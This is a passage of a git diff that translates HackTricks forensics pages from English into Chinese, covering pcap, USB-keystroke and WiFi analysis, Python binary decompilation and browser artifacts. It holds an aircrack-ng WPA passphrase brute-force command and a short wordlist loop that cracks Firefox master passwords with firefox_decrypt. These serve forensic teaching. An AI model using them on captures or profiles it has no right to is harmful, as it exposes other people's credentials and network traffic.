zeek-cut qtype_name | sort | uniq -c | sort -nr #See top DNS domain requested with rita rita show-exploded-dns -H --limit 10 zeek_logs ``` - -## Other pcap analysis tricks +## 其他 pcap 分析技巧 {{#ref}} dnscat-exfiltration.md @@ -237,10 +209,4 @@ usb-keystrokes.md ​ -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md index 9f63fbab3..9cbbcd69c 100644 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md +++ b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md @@ -1,12 +1,12 @@ {{#include ../../../banners/hacktricks-training.md}} -If you have a pcap of a USB connection with a lot of Interruptions probably it is a USB Keyboard connection. +如果你有一个 USB 连接的 pcap,且有很多中断,可能这是一个 USB 键盘连接。 -A wireshark filter like this could be useful: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)` +这样的 wireshark 过滤器可能会很有用:`usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)` -It could be important to know that the data that starts with "02" is pressed using shift. +重要的是要知道,以 "02" 开头的数据是通过 shift 键按下的。 -You can read more information and find some scripts about how to analyse this in: +你可以在以下链接中阅读更多信息并找到一些关于如何分析的脚本: - [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) - [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md index 9c3dba419..8d50b4134 100644 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md +++ b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md @@ -1,17 +1,15 @@ {{#include ../../../banners/hacktricks-training.md}} -If you have a pcap containing the communication via USB of a keyboard like the following one: +如果你有一个包含键盘通过USB通信的pcap,如下所示: ![](<../../../images/image (613).png>) -You can use the tool [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) to get what was written in the communication: - +你可以使用工具 [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) 来获取通信中写入的内容: ```bash tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt python3 usbkeyboard.py ./keystrokes.txt ``` - -You can read more information and find some scripts about how to analyse this in: +您可以阅读更多信息并找到一些关于如何分析此内容的脚本: - [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) - [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md b/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md index 36413cf70..65da4eb87 100644 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md +++ b/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md @@ -1,40 +1,38 @@ {{#include ../../../banners/hacktricks-training.md}} -# Check BSSIDs +# 检查 BSSID -When you receive a capture whose principal traffic is Wifi using WireShark you can start investigating all the SSIDs of the capture with _Wireless --> WLAN Traffic_: +当你收到一个主要流量为 Wifi 的捕获文件时,可以使用 WireShark 开始调查捕获中的所有 SSID,方法是选择 _Wireless --> WLAN Traffic_: ![](<../../../images/image (424).png>) ![](<../../../images/image (425).png>) -## Brute Force - -One of the columns of that screen indicates if **any authentication was found inside the pcap**. If that is the case you can try to Brute force it using `aircrack-ng`: +## 暴力破解 +该屏幕的其中一列指示是否在 pcap 中**发现了任何认证**。如果是这种情况,你可以尝试使用 `aircrack-ng` 进行暴力破解: ```bash aircrack-ng -w pwds-file.txt -b file.pcap ``` +例如,它将检索保护 PSK(预共享密钥)的 WPA 密码,这将在稍后解密流量时需要。 -For example it will retrieve the WPA passphrase protecting a PSK (pre shared-key), that will be required to decrypt the trafic later. +# 信标中的数据 / 侧信道 -# Data in Beacons / Side Channel +如果您怀疑 **数据在 Wifi 网络的信标中泄露**,可以使用以下过滤器检查网络的信标:`wlan contains `,或 `wlan.ssid == "NAMEofNETWORK"` 在过滤后的数据包中搜索可疑字符串。 -If you suspect that **data is being leaked inside beacons of a Wifi network** you can check the beacons of the network using a filter like the following one: `wlan contains `, or `wlan.ssid == "NAMEofNETWORK"` search inside the filtered packets for suspicious strings. +# 在 Wifi 网络中查找未知 MAC 地址 -# Find Unknown MAC Addresses in A Wifi Network - -The following link will be useful to find the **machines sending data inside a Wifi Network**: +以下链接将有助于查找 **在 Wifi 网络中发送数据的机器**: - `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2` -If you already know **MAC addresses you can remove them from the output** adding checks like this one: `&& !(wlan.addr==5c:51:88:31:a0:3b)` +如果您已经知道 **MAC 地址,可以通过添加检查将其从输出中移除**,例如:`&& !(wlan.addr==5c:51:88:31:a0:3b)` -Once you have detected **unknown MAC** addresses communicating inside the network you can use **filters** like the following one: `wlan.addr== && (ftp || http || ssh || telnet)` to filter its traffic. Note that ftp/http/ssh/telnet filters are useful if you have decrypted the traffic. +一旦您检测到 **在网络中通信的未知 MAC** 地址,可以使用 **过滤器**,例如:`wlan.addr== && (ftp || http || ssh || telnet)` 来过滤其流量。请注意,ftp/http/ssh/telnet 过滤器在您解密流量后非常有用。 -# Decrypt Traffic +# 解密流量 -Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit +编辑 --> 首选项 --> 协议 --> IEEE 802.11 --> 编辑 ![](<../../../images/image (426).png>) diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md index ec397e99a..4c6e1be87 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md @@ -1,77 +1,60 @@ -# Decompile compiled python binaries (exe, elf) - Retreive from .pyc +# 反编译已编译的python二进制文件(exe, elf) - 从.pyc中提取 {{#include ../../../banners/hacktricks-training.md}} -
- -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} - -## From Compiled Binary to .pyc - -From an **ELF** compiled binary you can **get the .pyc** with: +## 从已编译的二进制文件到.pyc +从一个**ELF**已编译的二进制文件中,你可以**获取.pyc**: ```bash pyi-archive_viewer # The list of python modules will be given here: [(0, 230, 311, 1, 'm', 'struct'), - (230, 1061, 1792, 1, 'm', 'pyimod01_os_path'), - (1291, 4071, 8907, 1, 'm', 'pyimod02_archive'), - (5362, 5609, 13152, 1, 'm', 'pyimod03_importers'), - (10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'), - (12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'), - (13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'), - (13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'), - (15090, 445, 672, 1, 's', 'pyi_rth_inspect'), - (15535, 2514, 4421, 1, 's', 'binary_name'), +(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'), +(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'), +(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'), +(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'), +(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'), +(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'), +(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'), +(15090, 445, 672, 1, 's', 'pyi_rth_inspect'), +(15535, 2514, 4421, 1, 's', 'binary_name'), ... ? X binary_name to filename? /tmp/binary.pyc ``` - -In a **python exe binary** compiled you can **get the .pyc** by running: - +在一个**python exe 二进制**文件中,你可以通过运行来**获取 .pyc**: ```bash python pyinstxtractor.py executable.exe ``` +## 从 .pyc 到 python 代码 -## From .pyc to python code - -For the **.pyc** data ("compiled" python) you should start trying to **extract** the **original** **python** **code**: - +对于 **.pyc** 数据(“编译的” python),您应该开始尝试 **提取** **原始** **python** **代码**: ```bash uncompyle6 binary.pyc > decompiled.py ``` +**确保**二进制文件具有**扩展名**“**.pyc**”(如果没有,uncompyle6 将无法工作) -**Be sure** that the binary has the **extension** "**.pyc**" (if not, uncompyle6 is not going to work) - -While executing **uncompyle6** you might find the **following errors**: - -### Error: Unknown magic number 227 +在执行**uncompyle6**时,您可能会遇到**以下错误**: +### 错误:未知的魔术数字 227 ```bash /kali/.local/bin/uncompyle6 /tmp/binary.pyc Unknown magic number 227 in /tmp/binary.pyc ``` +要解决此问题,您需要**在生成的文件开头添加正确的魔术数字**。 -To fix this you need to **add the correct magic number** at the beginning of the generated file. - -**Magic numbers vary with the python version**, to get the magic number of **python 3.8** you will need to **open a python 3.8** terminal and execute: - +**魔术数字因 Python 版本而异**,要获取**Python 3.8**的魔术数字,您需要**打开一个 Python 3.8**终端并执行: ``` >> import imp >> imp.get_magic().hex() '550d0d0a' ``` +在这种情况下,python3.8 的 **magic number** 是 **`0x550d0d0a`**,然后,要修复此错误,您需要在 **.pyc 文件** 的 **开头** 添加以下字节:`0x0d550a0d000000000000000000000000` -The **magic number** in this case for python3.8 is **`0x550d0d0a`**, then, to fix this error you will need to **add** at the **beginning** of the **.pyc file** the following bytes: `0x0d550a0d000000000000000000000000` - -**Once** you have **added** that magic header, the **error should be fixed.** - -This is how a correctly added **.pyc python3.8 magic header** will look like: +**一旦** 您 **添加** 了该魔术头,**错误应该会被修复。** +这就是正确添加的 **.pyc python3.8 magic header** 的样子: ```bash hexdump 'binary.pyc' | head 0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000 @@ -79,25 +62,23 @@ hexdump 'binary.pyc' | head 0000020 0700 0000 4000 0000 7300 0132 0000 0064 0000030 0164 006c 005a 0064 0164 016c 015a 0064 ``` +### 错误:反编译通用错误 -### Error: Decompiling generic errors +**其他错误**如:`class 'AssertionError'>; co_code 应该是以下类型之一 (, , , ); 是类型 ` 可能会出现。 -**Other errors** like: `class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` may appear. +这可能意味着您**没有正确添加**魔数,或者您没有**使用**正确的魔数,因此请**确保使用正确的魔数**(或尝试一个新的)。 -This probably means that you **haven't added correctly** the magic number or that you haven't **used** the **correct magic number**, so make **sure you use the correct one** (or try a new one). +请检查之前的错误文档。 -Check the previous error documentation. +## 自动工具 -## Automatic Tool +[**python-exe-unpacker 工具**](https://github.com/countercept/python-exe-unpacker) 是多个社区可用工具的组合,旨在帮助研究人员解包和反编译用 Python 编写的可执行文件,特别是那些使用 py2exe 和 pyinstaller 创建的文件。它包括 YARA 规则,以识别可执行文件是否基于 Python,并确认创建工具。 -The [**python-exe-unpacker tool**](https://github.com/countercept/python-exe-unpacker) serves as a combination of several community-available tools designed to assist researchers in unpacking and decompiling executables written in Python, specifically those created with py2exe and pyinstaller. It includes YARA rules to identify if an executable is Python-based and confirms the creation tool. +### ImportError: 文件名:'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' 不存在 -### ImportError: File name: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' doesn't exist - -A common issue encountered involves an incomplete Python bytecode file resulting from the **unpacking process with unpy2exe or pyinstxtractor**, which then **fails to be recognized by uncompyle6 due to a missing Python bytecode version number**. To address this, a prepend option has been added, which appends the necessary Python bytecode version number, facilitating the decompiling process. - -Example of the issue: +一个常见问题是由于 **使用 unpy2exe 或 pyinstxtractor 解包过程**导致的不完整 Python 字节码文件,这会导致 uncompyle6 无法识别,因为缺少 Python 字节码版本号。为了解决这个问题,添加了一个前缀选项,该选项附加必要的 Python 字节码版本号,从而促进反编译过程。 +问题示例: ```python # Error when attempting to decompile without the prepend option test@test: uncompyle6 unpacked/malware_3.exe/archive.py @@ -115,11 +96,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive # Successfully decompiled file [+] Successfully decompiled. ``` +## 分析 Python 汇编 -## Analyzing python assembly - -If you weren't able to extract the python "original" code following the previous steps, then you can try to **extract** the **assembly** (but i**t isn't very descriptive**, so **try** to extract **again** the original code).In [here](https://bits.theorem.co/protecting-a-python-codebase/) I found a very simple code to **disassemble** the _.pyc_ binary (good luck understanding the code flow). If the _.pyc_ is from python2, use python2: - +如果您无法按照之前的步骤提取 Python 的“原始”代码,那么您可以尝试 **提取** **汇编**(但 **它不是很描述性**,所以 **尝试** 再次提取 **原始代码**)。在 [这里](https://bits.theorem.co/protecting-a-python-codebase/) 我找到了一段非常简单的代码来 **反汇编** _.pyc_ 二进制文件(祝您理解代码流程好运)。如果 _.pyc_ 是来自 Python2,请使用 Python2: ```bash >>> import dis >>> import marshal @@ -145,34 +124,32 @@ True >>> >>> # Disassemble the code object >>> dis.disassemble(code) - 1 0 LOAD_CONST 0 () - 3 MAKE_FUNCTION 0 - 6 STORE_NAME 0 (hello_world) - 9 LOAD_CONST 1 (None) - 12 RETURN_VALUE +1 0 LOAD_CONST 0 () +3 MAKE_FUNCTION 0 +6 STORE_NAME 0 (hello_world) +9 LOAD_CONST 1 (None) +12 RETURN_VALUE >>> >>> # Also disassemble that const being loaded (our function) >>> dis.disassemble(code.co_consts[0]) - 2 0 LOAD_CONST 1 ('Hello {0}') - 3 LOAD_ATTR 0 (format) - 6 LOAD_FAST 0 (name) - 9 CALL_FUNCTION 1 - 12 PRINT_ITEM - 13 PRINT_NEWLINE - 14 LOAD_CONST 0 (None) - 17 RETURN_VALUE +2 0 LOAD_CONST 1 ('Hello {0}') +3 LOAD_ATTR 0 (format) +6 LOAD_FAST 0 (name) +9 CALL_FUNCTION 1 +12 PRINT_ITEM +13 PRINT_NEWLINE +14 LOAD_CONST 0 (None) +17 RETURN_VALUE ``` +## Python 转为可执行文件 -## Python to Executable +首先,我们将向您展示如何在 py2exe 和 PyInstaller 中编译有效载荷。 -To start, we’re going to show you how payloads can be compiled in py2exe and PyInstaller. - -### To create a payload using py2exe: - -1. Install the py2exe package from [http://www.py2exe.org/](http://www.py2exe.org) -2. For the payload (in this case, we will name it hello.py), use a script like the one in Figure 1. The option “bundle_files” with the value of 1 will bundle everything including the Python interpreter into one exe. -3. Once the script is ready, we will issue the command “python setup.py py2exe”. This will create the executable, just like in Figure 2. +### 使用 py2exe 创建有效载荷: +1. 从 [http://www.py2exe.org/](http://www.py2exe.org) 安装 py2exe 包。 +2. 对于有效载荷(在本例中,我们将其命名为 hello.py),使用如图 1 所示的脚本。选项“bundle_files”的值为 1,将把所有内容,包括 Python 解释器,打包成一个 exe 文件。 +3. 一旦脚本准备好,我们将发出命令“python setup.py py2exe”。这将创建可执行文件,就像图 2 中所示。 ```python from distutils.core import setup import py2exe, sys, os @@ -180,10 +157,10 @@ import py2exe, sys, os sys.argv.append('py2exe') setup( - options = {'py2exe': {'bundle_files': 1}}, - #windows = [{'script': "hello.py"}], - console = [{'script': "hello.py"}], - zipfile = None, +options = {'py2exe': {'bundle_files': 1}}, +#windows = [{'script': "hello.py"}], +console = [{'script': "hello.py"}], +zipfile = None, ) ``` @@ -200,12 +177,10 @@ running py2exe copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe ``` +### 使用 PyInstaller 创建有效载荷: -### To create a payload using PyInstaller: - -1. Install PyInstaller using pip (pip install pyinstaller). -2. After that, we will issue the command “pyinstaller –onefile hello.py” (a reminder that ‘hello.py’ is our payload). This will bundle everything into one executable. - +1. 使用 pip 安装 PyInstaller(pip install pyinstaller)。 +2. 之后,我们将发出命令“pyinstaller –onefile hello.py”(提醒一下,‘hello.py’ 是我们的有效载荷)。这将把所有内容打包成一个可执行文件。 ``` C:\Users\test\Desktop\test>pyinstaller --onefile hello.py 108 INFO: PyInstaller: 3.3.1 @@ -218,15 +193,9 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py 5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe 6325 INFO: Building EXE from out00-EXE.toc completed successfully. ``` - -## References +## 参考 - [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/) -
- -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md index 76fa3ef23..fdbb06e86 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md @@ -1,6 +1,4 @@ -{{#include ../../../banners/hacktricks-training.md}} - -Here you can find interesting tricks for specific file-types and/or software: +这里可以找到特定文件类型和/或软件的有趣技巧: {{#ref}} .pyc.md diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md index ba35ea1fd..baec042a9 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md @@ -1,139 +1,129 @@ -# Browser Artifacts +# 浏览器伪迹 {{#include ../../../banners/hacktricks-training.md}} -
+## 浏览器伪迹 -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +浏览器伪迹包括由网络浏览器存储的各种类型的数据,例如导航历史、书签和缓存数据。这些伪迹保存在操作系统中的特定文件夹内,不同浏览器的位置和名称各异,但通常存储相似类型的数据。 -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +以下是最常见的浏览器伪迹的总结: -## Browsers Artifacts - -Browser artifacts include various types of data stored by web browsers, such as navigation history, bookmarks, and cache data. These artifacts are kept in specific folders within the operating system, differing in location and name across browsers, yet generally storing similar data types. - -Here's a summary of the most common browser artifacts: - -- **Navigation History**: Tracks user visits to websites, useful for identifying visits to malicious sites. -- **Autocomplete Data**: Suggestions based on frequent searches, offering insights when combined with navigation history. -- **Bookmarks**: Sites saved by the user for quick access. -- **Extensions and Add-ons**: Browser extensions or add-ons installed by the user. -- **Cache**: Stores web content (e.g., images, JavaScript files) to improve website loading times, valuable for forensic analysis. -- **Logins**: Stored login credentials. -- **Favicons**: Icons associated with websites, appearing in tabs and bookmarks, useful for additional information on user visits. -- **Browser Sessions**: Data related to open browser sessions. -- **Downloads**: Records of files downloaded through the browser. -- **Form Data**: Information entered in web forms, saved for future autofill suggestions. -- **Thumbnails**: Preview images of websites. -- **Custom Dictionary.txt**: Words added by the user to the browser's dictionary. +- **导航历史**:跟踪用户访问的网站,识别访问恶意网站的情况。 +- **自动完成数据**:基于频繁搜索的建议,与导航历史结合时提供洞察。 +- **书签**:用户保存以便快速访问的网站。 +- **扩展和附加组件**:用户安装的浏览器扩展或附加组件。 +- **缓存**:存储网页内容(例如,图像、JavaScript 文件),以提高网站加载速度,对取证分析有价值。 +- **登录信息**:存储的登录凭据。 +- **网站图标**:与网站相关的图标,出现在标签和书签中,有助于提供用户访问的额外信息。 +- **浏览器会话**:与打开的浏览器会话相关的数据。 +- **下载**:通过浏览器下载的文件记录。 +- **表单数据**:在网页表单中输入的信息,保存以供将来的自动填充建议。 +- **缩略图**:网站的预览图像。 +- **自定义字典.txt**:用户添加到浏览器字典中的单词。 ## Firefox -Firefox organizes user data within profiles, stored in specific locations based on the operating system: +Firefox 在用户数据中组织配置文件,存储在基于操作系统的特定位置: - **Linux**: `~/.mozilla/firefox/` - **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/` - **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` -A `profiles.ini` file within these directories lists the user profiles. Each profile's data is stored in a folder named in the `Path` variable within `profiles.ini`, located in the same directory as `profiles.ini` itself. If a profile's folder is missing, it may have been deleted. +这些目录中的 `profiles.ini` 文件列出了用户配置文件。每个配置文件的数据存储在 `profiles.ini` 中 `Path` 变量命名的文件夹内,位于与 `profiles.ini` 本身相同的目录中。如果配置文件的文件夹缺失,可能已被删除。 -Within each profile folder, you can find several important files: +在每个配置文件文件夹内,您可以找到几个重要文件: -- **places.sqlite**: Stores history, bookmarks, and downloads. Tools like [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) on Windows can access the history data. - - Use specific SQL queries to extract history and downloads information. -- **bookmarkbackups**: Contains backups of bookmarks. -- **formhistory.sqlite**: Stores web form data. -- **handlers.json**: Manages protocol handlers. -- **persdict.dat**: Custom dictionary words. -- **addons.json** and **extensions.sqlite**: Information on installed add-ons and extensions. -- **cookies.sqlite**: Cookie storage, with [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) available for inspection on Windows. -- **cache2/entries** or **startupCache**: Cache data, accessible through tools like [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html). -- **favicons.sqlite**: Stores favicons. -- **prefs.js**: User settings and preferences. -- **downloads.sqlite**: Older downloads database, now integrated into places.sqlite. -- **thumbnails**: Website thumbnails. -- **logins.json**: Encrypted login information. -- **key4.db** or **key3.db**: Stores encryption keys for securing sensitive information. +- **places.sqlite**: 存储历史、书签和下载。像 [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) 这样的工具可以在 Windows 上访问历史数据。 +- 使用特定的 SQL 查询提取历史和下载信息。 +- **bookmarkbackups**: 包含书签的备份。 +- **formhistory.sqlite**: 存储网页表单数据。 +- **handlers.json**: 管理协议处理程序。 +- **persdict.dat**: 自定义字典单词。 +- **addons.json** 和 **extensions.sqlite**: 有关已安装的附加组件和扩展的信息。 +- **cookies.sqlite**: Cookie 存储,Windows 上可以使用 [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) 进行检查。 +- **cache2/entries** 或 **startupCache**: 缓存数据,可以通过像 [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html) 这样的工具访问。 +- **favicons.sqlite**: 存储网站图标。 +- **prefs.js**: 用户设置和偏好。 +- **downloads.sqlite**: 较旧的下载数据库,现在已集成到 places.sqlite 中。 +- **thumbnails**: 网站缩略图。 +- **logins.json**: 加密的登录信息。 +- **key4.db** 或 **key3.db**: 存储用于保护敏感信息的加密密钥。 -Additionally, checking the browser’s anti-phishing settings can be done by searching for `browser.safebrowsing` entries in `prefs.js`, indicating whether safe browsing features are enabled or disabled. - -To try to decrypt the master password, you can use [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\ -With the following script and call you can specify a password file to brute force: +此外,可以通过在 `prefs.js` 中搜索 `browser.safebrowsing` 条目来检查浏览器的反钓鱼设置,以指示安全浏览功能是否启用或禁用。 +要尝试解密主密码,可以使用 [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\ +使用以下脚本和调用,您可以指定一个密码文件进行暴力破解: ```bash:brute.sh #!/bin/bash #./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:" passfile=$1 while read pass; do - echo "Trying $pass" - echo "$pass" | python firefox_decrypt.py +echo "Trying $pass" +echo "$pass" | python firefox_decrypt.py done < $passfile ``` - ![](<../../../images/image (417).png>) ## Google Chrome -Google Chrome stores user profiles in specific locations based on the operating system: +Google Chrome 根据操作系统将用户配置文件存储在特定位置: - **Linux**: `~/.config/google-chrome/` - **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\` - **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/` -Within these directories, most user data can be found in the **Default/** or **ChromeDefaultData/** folders. The following files hold significant data: +在这些目录中,大多数用户数据可以在 **Default/** 或 **ChromeDefaultData/** 文件夹中找到。以下文件包含重要数据: -- **History**: Contains URLs, downloads, and search keywords. On Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) can be used to read the history. The "Transition Type" column has various meanings, including user clicks on links, typed URLs, form submissions, and page reloads. -- **Cookies**: Stores cookies. For inspection, [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) is available. -- **Cache**: Holds cached data. To inspect, Windows users can utilize [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html). -- **Bookmarks**: User bookmarks. -- **Web Data**: Contains form history. -- **Favicons**: Stores website favicons. -- **Login Data**: Includes login credentials like usernames and passwords. -- **Current Session**/**Current Tabs**: Data about the current browsing session and open tabs. -- **Last Session**/**Last Tabs**: Information about the sites active during the last session before Chrome was closed. -- **Extensions**: Directories for browser extensions and addons. -- **Thumbnails**: Stores website thumbnails. -- **Preferences**: A file rich in information, including settings for plugins, extensions, pop-ups, notifications, and more. -- **Browser’s built-in anti-phishing**: To check if anti-phishing and malware protection are enabled, run `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Look for `{"enabled: true,"}` in the output. +- **History**: 包含 URL、下载和搜索关键字。在 Windows 上,可以使用 [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) 来读取历史记录。“Transition Type” 列有多种含义,包括用户点击链接、输入的 URL、表单提交和页面重新加载。 +- **Cookies**: 存储 cookies。可以使用 [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) 进行检查。 +- **Cache**: 存储缓存数据。要检查,Windows 用户可以使用 [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html)。 +- **Bookmarks**: 用户书签。 +- **Web Data**: 包含表单历史。 +- **Favicons**: 存储网站图标。 +- **Login Data**: 包含登录凭据,如用户名和密码。 +- **Current Session**/**Current Tabs**: 当前浏览会话和打开标签的数据。 +- **Last Session**/**Last Tabs**: Chrome 关闭前最后会话中活动网站的信息。 +- **Extensions**: 浏览器扩展和附加组件的目录。 +- **Thumbnails**: 存储网站缩略图。 +- **Preferences**: 一个信息丰富的文件,包括插件、扩展、弹出窗口、通知等的设置。 +- **Browser’s built-in anti-phishing**: 要检查反钓鱼和恶意软件保护是否启用,请运行 `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`。在输出中查找 `{"enabled: true,"}`。 ## **SQLite DB Data Recovery** -As you can observe in the previous sections, both Chrome and Firefox use **SQLite** databases to store the data. It's possible to **recover deleted entries using the tool** [**sqlparse**](https://github.com/padfoot999/sqlparse) **or** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). +如前所述,Chrome 和 Firefox 使用 **SQLite** 数据库存储数据。可以使用工具 [**sqlparse**](https://github.com/padfoot999/sqlparse) **或** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases) **恢复已删除的条目**。 ## **Internet Explorer 11** -Internet Explorer 11 manages its data and metadata across various locations, aiding in separating stored information and its corresponding details for easy access and management. +Internet Explorer 11 在多个位置管理其数据和元数据,帮助分离存储的信息及其对应的详细信息,以便于访问和管理。 ### Metadata Storage -Metadata for Internet Explorer is stored in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (with VX being V01, V16, or V24). Accompanying this, the `V01.log` file might show modification time discrepancies with `WebcacheVX.data`, indicating a need for repair using `esentutl /r V01 /d`. This metadata, housed in an ESE database, can be recovered and inspected using tools like photorec and [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), respectively. Within the **Containers** table, one can discern the specific tables or containers where each data segment is stored, including cache details for other Microsoft tools such as Skype. +Internet Explorer 的元数据存储在 `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data`(VX 为 V01、V16 或 V24)。此外,`V01.log` 文件可能显示与 `WebcacheVX.data` 的修改时间差异,表明需要使用 `esentutl /r V01 /d` 进行修复。此元数据存储在 ESE 数据库中,可以使用 photorec 和 [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) 等工具进行恢复和检查。在 **Containers** 表中,可以辨别每个数据段存储的特定表或容器,包括其他 Microsoft 工具(如 Skype)的缓存详细信息。 ### Cache Inspection -The 